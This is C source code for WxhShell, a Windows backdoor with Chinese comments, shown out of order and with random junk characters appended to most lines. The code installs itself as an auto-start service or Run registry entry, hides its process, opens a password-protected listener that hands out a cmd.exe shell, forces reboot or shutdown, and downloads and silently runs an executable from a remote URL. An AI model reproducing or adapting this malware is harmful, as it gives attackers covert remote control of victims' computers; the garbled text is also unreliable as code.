    closesocket(wsh); ma2-66M~j  
    ExitThread(0); _nW#Cl~  
    } k5Df9 7\s  
    break; b;e*`f8T3c  
    } al Q:'K  
  // 关机 (d5kD#.N  
  case 'd': { 7OZjLD{ID  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \H?r[]*c%  
    if(Boot(SHUTDOWN)) a/ Z\h{*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Ve_u  
    else { H|!|fo-Tx  
    closesocket(wsh); pL'+sW  
    ExitThread(0); OEgp!J  
    } &q[`lIV,L  
    break; )mXu{uowr  
    } 2G`tS=Un  
  // 获取shell ~LN {5zg  
  case 's': { AtlUxFX0S  
    CmdShell(wsh); K<w$  
    closesocket(wsh); U{.yX7  
    ExitThread(0); |NWo.j>4-  
    break; RS[QZOoW}  
  } lZ}H?n%  
  // 退出 B}p{$g!  
  case 'x': { }Ias7d?re  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h-:te9p6>4  
    CloseIt(wsh); 5F|oNI}$:  
    break; 6M_,4> -  
    } PeB7Q=d)K1  
  // 离开 ER$qL"H U  
  case 'q': { +dSO?Y]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xkb\fR6<K  
    closesocket(wsh); -Fs<{^E3j  
    WSACleanup(); 9r hl2E  
    exit(1); ZC:7N{a  
    break; h}jE=T5Hc  
        } kC-OZVoO  
  } D~JrO]mi  
  } <@2g.+9  
5"9!kZ(<  
  // 提示信息  [E|%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rjW\tuZI  
} /jv4# 9  
  } t5WW3$Nf  
6{PlclI !  
  return; -|A`+1-R+  
} q*4=sf,>  
1$ C\ `  
// shell模块句柄 \B~}s}  
int CmdShell(SOCKET sock) Qc]Ki3ls  
{ u IGeSd5B  
STARTUPINFO si; dBMr%6tz  
ZeroMemory(&si,sizeof(si)); r5g:#mF"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #Rcb iV*M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ves x$!F#  
PROCESS_INFORMATION ProcessInfo; j]' 7"b5  
char cmdline[]="cmd"; h#rziZ(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1US4:6xX_  
  return 0; o79EDPX  
} K _sHZ  
"xKykSk  
// 自身启动模式 ?B~S4:9  
int StartFromService(void) z<9wh2*M  
{ bs=x>F  
typedef struct v46 5Z  
{ (7_}UT@w-  
  DWORD ExitStatus; aaODj>  
  DWORD PebBaseAddress; [b6P }DW  
  DWORD AffinityMask; WvJidz?5  
  DWORD BasePriority; :N ~A7@  
  ULONG UniqueProcessId; L1J~D?q  
  ULONG InheritedFromUniqueProcessId; Y<0R5rO  
}   PROCESS_BASIC_INFORMATION; .8EaFEd  
XIJW$CY  
PROCNTQSIP NtQueryInformationProcess; Doj>Irj? 7  
nL@(|nJ[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j!<(`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J}'a|a@bk  
X1PXX!]lo[  
  HANDLE             hProcess; 8\/$cP"<^  
  PROCESS_BASIC_INFORMATION pbi; %DR8M\d1~H  
FH}2wO~_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J-wF2*0r<  
  if(NULL == hInst ) return 0; sbi+o,%1  
u#"L gG.X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &nyJ :?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xaG( 3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \T]'d@Wyd  
*kE<7  
  if (!NtQueryInformationProcess) return 0; 51&K  
L|H:&|F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lqoJ2JMy  
  if(!hProcess) return 0; -- chU5  
+1o4l i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T>2_r6;  
`8sC>)lrwu  
  CloseHandle(hProcess); ]d]rV `RF  
3q*p#l~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qt`;+N(  
if(hProcess==NULL) return 0; `!A<XiAOmM  
]Ll<Z  
HMODULE hMod; {oK4 u  
char procName[255]; Q^k\q  
unsigned long cbNeeded; ;bhD:$NB X  
zIT)Hs5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;*}tbh3;.  
ev"f@y9Do  
  CloseHandle(hProcess); Z_.xglq{  
L.tW]43K  
if(strstr(procName,"services")) return 1; // 以服务启动 fS#I?!*}  
0c6Ea>S[  
  return 0; // 注册表启动 8.m9 =+)8  
} ]w;!x7bU(  
!5XH.DYq!  
// 主模块 |%l&H/  
int StartWxhshell(LPSTR lpCmdLine) R Q2DTQ-$  
{ "vL,c]D  
  SOCKET wsl; C!z7sOu  
BOOL val=TRUE; =)mA.j}E2  
  int port=0; I->BDNk  
  struct sockaddr_in door; ^ 9`O ^  
'YTSakNJ}  
  if(wscfg.ws_autoins) Install(); 1@W*fVn  
ZD;1{  
port=atoi(lpCmdLine); x@*!MC #  
?)V?6"fFP  
if(port<=0) port=wscfg.ws_port; ; xx u,  
O.Xhi+  
  WSADATA data; O=;}VZ<9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _my!YS5n  
!}pvrBS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ews{0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A$o7<Hx  
  door.sin_family = AF_INET; 0wnC"2GUX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7Z[6_WD3  
  door.sin_port = htons(port); ,?/AIL]_  
9T;DFUM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d;FOmo4  
closesocket(wsl); *mtS\J  
return 1; eRm 9LOp  
} Q8  
wMvAm%}+  
  if(listen(wsl,2) == INVALID_SOCKET) { ~lH_d[  
closesocket(wsl); :-)H tyzf  
return 1; 'M!*Ge  
} '?)<e^  
  Wxhshell(wsl); :F`-<x/  
  WSACleanup(); &X&msEM  
cl1>S3  
return 0; Or<OmxJg  
oj%(@6L  
} (F=q/lK$  
*pj^d><  
// 以NT服务方式启动 :xy4JRcF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i!u:]14>  
{ XkRPD  
DWORD   status = 0; YE;Tpji  
  DWORD   specificError = 0xfffffff; R8N*. [  
O f.%rpgy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bBg=X}9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7Q>bJ Ek7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /:-Y7M*   
  serviceStatus.dwWin32ExitCode     = 0; Q.i_?a  
  serviceStatus.dwServiceSpecificExitCode = 0; @aY>pr5!  
  serviceStatus.dwCheckPoint       = 0; HyGu3  
  serviceStatus.dwWaitHint       = 0; A(6n- zL  
Z%$ tV3a?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7;r Jr&.)  
  if (hServiceStatusHandle==0) return; X]+z:!  
"rU 2g  
status = GetLastError(); #,B+&SK{  
  if (status!=NO_ERROR) V_"UiN"o  
{ !Y^3%B%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &MJ cLM]  
    serviceStatus.dwCheckPoint       = 0; nXM[#~  
    serviceStatus.dwWaitHint       = 0; Q|7l!YTzVu  
    serviceStatus.dwWin32ExitCode     = status; < VrHWJo  
    serviceStatus.dwServiceSpecificExitCode = specificError; J>N^FR9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &3CC |  
    return; 6BH P#B2j  
  } @5tGI U;1  
/5N`E uw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p,K!'\  
  serviceStatus.dwCheckPoint       = 0; JDP/vNq  
  serviceStatus.dwWaitHint       = 0; (,^jgv|I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `BzjDI:a  
} G7SmlFn?  
;GV~MH-F  
// 处理NT服务事件,比如:启动、停止 [5i }C K_=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q/]t $  
{ MHPh!  
switch(fdwControl) ,%d?gi"&  
{ R4g;-Ci->  
case SERVICE_CONTROL_STOP: d:3OC&  
  serviceStatus.dwWin32ExitCode = 0; u#)ARCx,w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .!Q*VTW  
  serviceStatus.dwCheckPoint   = 0; =g{Hs1W  
  serviceStatus.dwWaitHint     = 0; y134m  
  { wq:"/2p1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ ~:wS@%  
  } jUGk=/*]e  
  return; +nz 0ZQ9 a  
case SERVICE_CONTROL_PAUSE: X|4_}b> x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~%?LFR'  
  break; 'Rq2x-72}  
case SERVICE_CONTROL_CONTINUE: m5 l,Lxj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U#g ,XJ  
  break; v ocWV/  
case SERVICE_CONTROL_INTERROGATE: i{biQ|,.sL  
  break; 9CPr/q9'  
}; &`I7aP|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Qj@:b  
} ):Pz sz7  
S1U>Q~ZPA  
// 标准应用程序主函数 jg\FD51$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?!a8'jfs  
{ d7P' c!@+  
BI6]{ZC"  
// 获取操作系统版本 "@(Sw>*o  
OsIsNt=GetOsVer(); 2g HRfTF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -(JBgM"  
g27)$0&0  
  // 从命令行安装 RYZM_@ 5$t  
  if(strpbrk(lpCmdLine,"iI")) Install(); bsv!z\}  
]S7>=S  
  // 下载执行文件 NudY9 ~   
if(wscfg.ws_downexe) { yn|U<Hxl~H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @M!nAQ8hY  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ctx{rf_~  
} ukc<yc].+?  
Jxsch\  
if(!OsIsNt) { |Ng}ZLBM  
// 如果时win9x,隐藏进程并且设置为注册表启动 89P'WFOFK  
HideProc(); kzmw1*J  
StartWxhshell(lpCmdLine); J0FJ@@  
} (w1$m8`=  
else 1 Sz v4  
  if(StartFromService()) &f-x+y  
  // 以服务方式启动 vVf%wei^#  
  StartServiceCtrlDispatcher(DispatchTable); TpRI+*\  
else MQMc=Z4d  
  // 普通方式启动 ,A[NcFdCB  
  StartWxhshell(lpCmdLine); W.nr&yiQ  
qCy SL lp0  
return 0; D_M73s!U  
} Kb~i9x&  
#k|f%!-Vo  
-0>s`ruor  
->)0jZax  
=========================================== Jvr`9<`  
En{< OMg  
?wpl 88z  
ImsyyeY]  
ypWhH  
-\~HAnh  
" NX8. \Pf#  
>D_!d@Z  
#include <stdio.h> Q(jIqY1Hf  
#include <string.h> :aR_f`KMm  
#include <windows.h> k-I U}|Xz  
#include <winsock2.h> \[<8AV"E-'  
#include <winsvc.h> u9j1>QU  
#include <urlmon.h> h3j`X'  
GP0}I@>?  
#pragma comment (lib, "Ws2_32.lib") $_O;yz  
#pragma comment (lib, "urlmon.lib") 0?*":o30  
d@ef+-  
#define MAX_USER   100 // 最大客户端连接数 OZ4%6/  
#define BUF_SOCK   200 // sock buffer `>u^Pm  
#define KEY_BUFF   255 // 输入 buffer oT i$@q  
FJ2~SKWT  
#define REBOOT     0   // 重启 z=C<@ki`  
#define SHUTDOWN   1   // 关机 thSXri?kl  
YP73  
#define DEF_PORT   5000 // 监听端口 Ww =ksggpB  
ZY*_x)h+#7  
#define REG_LEN     16   // 注册表键长度 ONMR2J(  
#define SVC_LEN     80   // NT服务名长度 "10.,QK  
'o|=_0-7W  
// 从dll定义API #&sn l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l4AXjq2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8qwPk4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); og`g]Z<I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UV\&9>@L  
jdd3[  
// wxhshell配置信息 LCMn9I  
struct WSCFG { eA-$TSWh  
  int ws_port;         // 监听端口 o,!W,sx_  
  char ws_passstr[REG_LEN]; // 口令 En ]"^*  
  int ws_autoins;       // 安装标记, 1=yes 0=no j`QXl  
  char ws_regname[REG_LEN]; // 注册表键名  Sr+ &  
  char ws_svcname[REG_LEN]; // 服务名 %Mf3OtPiJW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TNlS2b1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~|&To >  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q3ebps9^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wDKA1i%G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D 4<,YBvV  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9s#*~[E*  
Q&vU|y  
}; 6\RZ[gA?  
w_*$w Vl  
// default Wxhshell configuration &{S@v9~IT  
struct WSCFG wscfg={DEF_PORT, |`O210B@  
    "xuhuanlingzhe", EO\- J-nM  
    1, & sgzSX  
    "Wxhshell", QJ,~K&?  
    "Wxhshell", U]"6KS   
            "WxhShell Service", RY]jY | E  
    "Wrsky Windows CmdShell Service", q U^`fIa  
    "Please Input Your Password: ", ' pfkbmJ  
  1, },,K6*P  
  "http://www.wrsky.com/wxhshell.exe", @Uqcym.  
  "Wxhshell.exe" 7W=s.Gy7G\  
    }; .e|\Bf0P  
UQq Qim  
// 消息定义模块 6OZ n7:)Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S+u@ Q}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?:Rw[T@ l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M-A{{q   
char *msg_ws_ext="\n\rExit."; QURpg/<U  
char *msg_ws_end="\n\rQuit."; 9j<7KSj  
char *msg_ws_boot="\n\rReboot..."; RpzW-  
char *msg_ws_poff="\n\rShutdown..."; %D>cY!  
char *msg_ws_down="\n\rSave to "; ><{Lh@{  
j9|1G-CM  
char *msg_ws_err="\n\rErr!"; `t2Y IwOK  
char *msg_ws_ok="\n\rOK!"; Bs\& '=l  
e\ ! ic  
char ExeFile[MAX_PATH]; vq1u !SY  
int nUser = 0; D:XjJMW3r  
HANDLE handles[MAX_USER]; $|K-wN[  
int OsIsNt; 4K$_d,4`U  
R2y~+tko?  
SERVICE_STATUS       serviceStatus; s\.\z[1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .`^wRpa2M  
j5m]zh5\J=  
// 函数声明 Dj{=Y`Tw  
int Install(void); 'e8O \FOf  
int Uninstall(void); u(g9-O  
int DownloadFile(char *sURL, SOCKET wsh); EO"G(v  
int Boot(int flag); V BjA$.  
void HideProc(void); 4B@Ir)^(*  
int GetOsVer(void); >uwd3XW5  
int Wxhshell(SOCKET wsl); 4)d"}j  
void TalkWithClient(void *cs); 3u4P [   
int CmdShell(SOCKET sock); bE b+oRI  
int StartFromService(void); IhXP~C6  
int StartWxhshell(LPSTR lpCmdLine); )odz/\9n3c  
T_oL/x_;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M! uE#|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Kssc lSD1  
J"Nn.iVq  
// 数据结构和表定义 #4F0o@Z  
SERVICE_TABLE_ENTRY DispatchTable[] = ]EEac  
{ $`_xP1bUT  
{wscfg.ws_svcname, NTServiceMain},  #{zF~/Qq  
{NULL, NULL} T26'b .  
}; GhW{6.^  
uOb}R   
// 自我安装 Z + )<FX  
int Install(void) -Hg,:re2  
{ gCM(h[7A  
  char svExeFile[MAX_PATH]; m,r>E%;Cj  
  HKEY key; Q;=3vUN  
  strcpy(svExeFile,ExeFile); x n}HB  
3H`ES_JL  
// 如果是win9x系统,修改注册表设为自启动 J:0`*7  
if(!OsIsNt) { U8 n=Ro  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ns.{$'ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 5I a  
  RegCloseKey(key); G,XUMZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iM"L%6*I^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gk4DoOj#P  
  RegCloseKey(key); .}3K9.hkr  
  return 0; :CG;:( |  
    } 43N=O FU  
  } kV$VKag*A  
} DhT8Kh{  
else { #<yKG\X?  
jNW/Biy4u  
// 如果是NT以上系统,安装为系统服务 TlJ'pG 4^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +kT o$_Wkz  
if (schSCManager!=0) 7QHrb'c  
{ |],ocAN{  
  SC_HANDLE schService = CreateService jiP^Hz"e  
  ( %R?#Y1Tq;  
  schSCManager, HQ^:5 XH  
  wscfg.ws_svcname, o_PQ]1  
  wscfg.ws_svcdisp, D>K=D"  
  SERVICE_ALL_ACCESS, :{~TG]4M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @<B$LJ|jdG  
  SERVICE_AUTO_START, p~dj-w  
  SERVICE_ERROR_NORMAL, X,`e1nsR  
  svExeFile, O:+?:aI@  
  NULL, WR}<^a x  
  NULL, sF1j4 NC  
  NULL, 4?l:.\fB:  
  NULL, XvkFP'%i/  
  NULL K b z|h,<  
  ); Z)G@ahO Q  
  if (schService!=0) 77;|PKE /  
  { `,)%<}  
  CloseServiceHandle(schService); M$2lK^2L  
  CloseServiceHandle(schSCManager); @T~~aQFk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2,G9~<t  
  strcat(svExeFile,wscfg.ws_svcname); 'Jl73#3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hvF>Tu]^r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N|asr,  
  RegCloseKey(key); Hw~?%g:<S  
  return 0; ]SNcL[U  
    } m]/s R3yF  
  } =xM:8 hm  
  CloseServiceHandle(schSCManager); vp`s< ;CA  
} YI),yj  
} #80M+m  
>\Ml \CyL  
return 1; 2E0$R%\  
} Hs(U|BXU  
DQ= /Jr~  
// 自我卸载 dU#} Tk  
int Uninstall(void) ,5P tB]8&3  
{ ^(1S`z$  
  HKEY key; 7aeyddpM  
B#[.c$  
if(!OsIsNt) { B S+=*3J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "ac$S9@~  
  RegDeleteValue(key,wscfg.ws_regname); @fI 2ZWN|  
  RegCloseKey(key); QP!0I01  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E,7b=t  
  RegDeleteValue(key,wscfg.ws_regname); '))=y@M  
  RegCloseKey(key); zN,2 (v"  
  return 0; SsQg8d  
  } `h$^=84  
} \Wf1b8FW  
} ![{0Yw D  
else { S"Drg m.  
]McDN[h:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g5~wdhpb  
if (schSCManager!=0) 7oZtbBs]M  
{ p/'09FY+U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ll0"<G2t  
  if (schService!=0) 7^DN8g"&\  
  { HMVyXulU  
  if(DeleteService(schService)!=0) { >d$Sh`a6  
  CloseServiceHandle(schService); gt Rs||  
  CloseServiceHandle(schSCManager); &\AW} xp  
  return 0; ZUaqv  
  } |/O_AnGI  
  CloseServiceHandle(schService); 0 LIRi%N5*  
  } f}VIkx]X"  
  CloseServiceHandle(schSCManager); a,KqTQB  
} b1-'q^M  
} 0v'!(&m  
utBKl' `  
return 1; E<L6/rG  
} 3}2a3)  
B"2#}HM  
// 从指定url下载文件 ,")/R/d  
int DownloadFile(char *sURL, SOCKET wsh) ~a` vk@8  
{ 4>t=r\"4  
  HRESULT hr; HHg[6aw  
char seps[]= "/"; ?7R&=B1g  
char *token; eT Z2f  
char *file; jT1^oXn@  
char myURL[MAX_PATH]; BHJS.o*j~  
char myFILE[MAX_PATH]; e\' =#Hw  
^ /7L(  
strcpy(myURL,sURL); lW3wmSWn%  
  token=strtok(myURL,seps); d@>1m:p  
  while(token!=NULL) peGh-  
  { Yo[Pu< zR  
    file=token; v}BXH4&Y  
  token=strtok(NULL,seps); &KVXU0F^z  
  } L~ e{Vv8UR  
]$i~;f 8I  
GetCurrentDirectory(MAX_PATH,myFILE); =Bb/Y`Q  
strcat(myFILE, "\\"); TqTz  
strcat(myFILE, file); n$y@a? al  
  send(wsh,myFILE,strlen(myFILE),0); ::8c pUc`f  
send(wsh,"...",3,0); QW_W5|_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #wfb-`,5&9  
  if(hr==S_OK) {=<m^ 5b9  
return 0; "wj-Qgz  
else W,ik ;P\  
return 1; 9\KMU@Ne  
`nEe-w^9)I  
} \#q|.d$ u  
CC.ri3+.  
// 系统电源模块 j2Uu8.8d  
int Boot(int flag) ;'4 HR+E"  
{ ~<q^4w.=7C  
  HANDLE hToken; (K3eb  
  TOKEN_PRIVILEGES tkp; uZ8^"  W  
f/{*v4!  
  if(OsIsNt) { -VkPy<)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v `7`'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N_| '`]D  
    tkp.PrivilegeCount = 1; )@a_|q@V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x0$#8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (?lKedA>2  
if(flag==REBOOT) { zb& 3{,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |7%#z~rT  
  return 0; <-F[q'!C1  
} Bf{c4YiF  
else { j|2s./!Qg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \2VYDBi?|  
  return 0; m$}Jw<.W  
} \cW9"e'  
  } ) |j?aVqZ  
  else { %3mh'Z -[f  
if(flag==REBOOT) { d{*e0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8N9X1Mb|  
  return 0; <U~at+M  
} ?"L ^ 0%  
else { `F4gal^ ^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n5;>e&  
  return 0; #D|n6[Y'.t  
} E>Lgf&R#W  
} mk]8}+^.  
BSHtoD@e7  
return 1; ^~K[bFbW  
} j-9Zzgr  
a/dq+  
// win9x进程隐藏模块 se&Q\!&M  
void HideProc(void) )Rr0f 8  
{ }-H)jN^  
>S'IrnH'!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S0mzDLgE  
  if ( hKernel != NULL ) T1WH  
  { i16kPU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?OF9{$m3?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =U,mzY (  
    FreeLibrary(hKernel); yrQf PR  
  } s0*@zn>h  
eq,`T;  
return; O8)N`#1>+  
} #9CLIYJAd  
{W$K@vuV;?  
// 获取操作系统版本 (fcJp)D  
int GetOsVer(void) -)Of\4kx  
{ #VynADPs`o  
  OSVERSIONINFO winfo; /nB|Fo_&Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _BHEK  
  GetVersionEx(&winfo); 'e:(61_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LZ<^b6Dxk  
  return 1; 12HE =  
  else <P.'r,"[  
  return 0; U *:E|'>  
} ]'5 G/H5?;  
=SV b k  
// 客户端句柄模块 Js/QL=,  
int Wxhshell(SOCKET wsl) -T{G8@V0I  
{ "WZ|   
  SOCKET wsh; Hp5.jor(k  
  struct sockaddr_in client; 3o BR  
  DWORD myID; {.o@XP,.  
3{9d5p|\i  
  while(nUser<MAX_USER) }va>jfy  
{ 5]~4 51  
  int nSize=sizeof(client); oMHTB!A=2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6QAhVg: A  
  if(wsh==INVALID_SOCKET) return 1; ppzQh1  
'; ;X{a  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cUC!'+L  
if(handles[nUser]==0) aM YtWj  
  closesocket(wsh); /_</m?&.U&  
else I'0{Q`}  
  nUser++; l;i /$Yu7  
  } -mw`f)?Ev  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p((a(Q/  
-_ <z_IL\%  
  return 0; qylI/,y{  
} ip!-~HNwJ  
+F+M[ef<ws  
// 关闭 socket ,-[z?dvO  
void CloseIt(SOCKET wsh) hGJANA  
{ KZ@'NnQ  
closesocket(wsh); n}/4em?  
nUser--; M< /  
ExitThread(0); tn}MKo  
} CaR-Yk   
;b!qt-;.<  
// 客户端请求句柄 pv]" 2'aQ  
void TalkWithClient(void *cs) #p2`9o  
{ *" +u^  
ZQ{-6VCjl  
  SOCKET wsh=(SOCKET)cs; ?OS0.  
  char pwd[SVC_LEN]; 8]Q#P  
  char cmd[KEY_BUFF]; S?#6{rx  
char chr[1]; 0+F--E4  
int i,j; Q2[; H!"  
8p]9A,Uq&  
  while (nUser < MAX_USER) { 9;NXzO27  
0ZJj5<U  
if(wscfg.ws_passstr) { **JBZ\'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sO{TGk]*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f$ 7C 5  
  //ZeroMemory(pwd,KEY_BUFF); qHn X)  
      i=0; <iB5&  
  while(i<SVC_LEN) { ?[7KN8$  
1>Q4&1Vn  
  // 设置超时 Ll .P>LH  
  fd_set FdRead; J";4+wA7  
  struct timeval TimeOut; < n/ 2  
  FD_ZERO(&FdRead); /xj`'8  
  FD_SET(wsh,&FdRead); Xy r'rm5+b  
  TimeOut.tv_sec=8; (AZAQ xt  
  TimeOut.tv_usec=0; glLoYRTi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %77uc9}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p>B-Ubu  
<Xw\:5 F<7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  QJ!2Vw4K  
  pwd=chr[0]; yK-DzAv  
  if(chr[0]==0xd || chr[0]==0xa) {  { &Vt]9  
  pwd=0; ~;#sj&~  
  break; :Iuc H%6V  
  } OY8P  
  i++; 3g3f87[  
    } W/g_XQ   
M.+h3<%^  
  // 如果是非法用户,关闭 socket V-eRGSx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W4UK?#S+  
} iBI->xU[U  
Cz &3=),G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :$0yp`k  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -V-I&sO<  
zwz_K!229  
while(1) { e;g7Ek3n  
@S:T8 *~}  
  ZeroMemory(cmd,KEY_BUFF); FbRGfHL[  
X9ZHYlr+Q  
      // 自动支持客户端 telnet标准   tQas_K5  
  j=0; KWojMPs  
  while(j<KEY_BUFF) { RLZfXXMn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |<'6rJ[i>  
  cmd[j]=chr[0]; [>t;P ,  
  if(chr[0]==0xa || chr[0]==0xd) { ]|tR8`DGZ%  
  cmd[j]=0; +abb[  
  break; $JUkw sc  
  } ja9=b?]0,  
  j++; Wf^ sl  
    } ?U+hse3e~  
2vh }:A_  
  // 下载文件 r)#W`A1{A  
  if(strstr(cmd,"http://")) { @<`V q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zc$}4o  
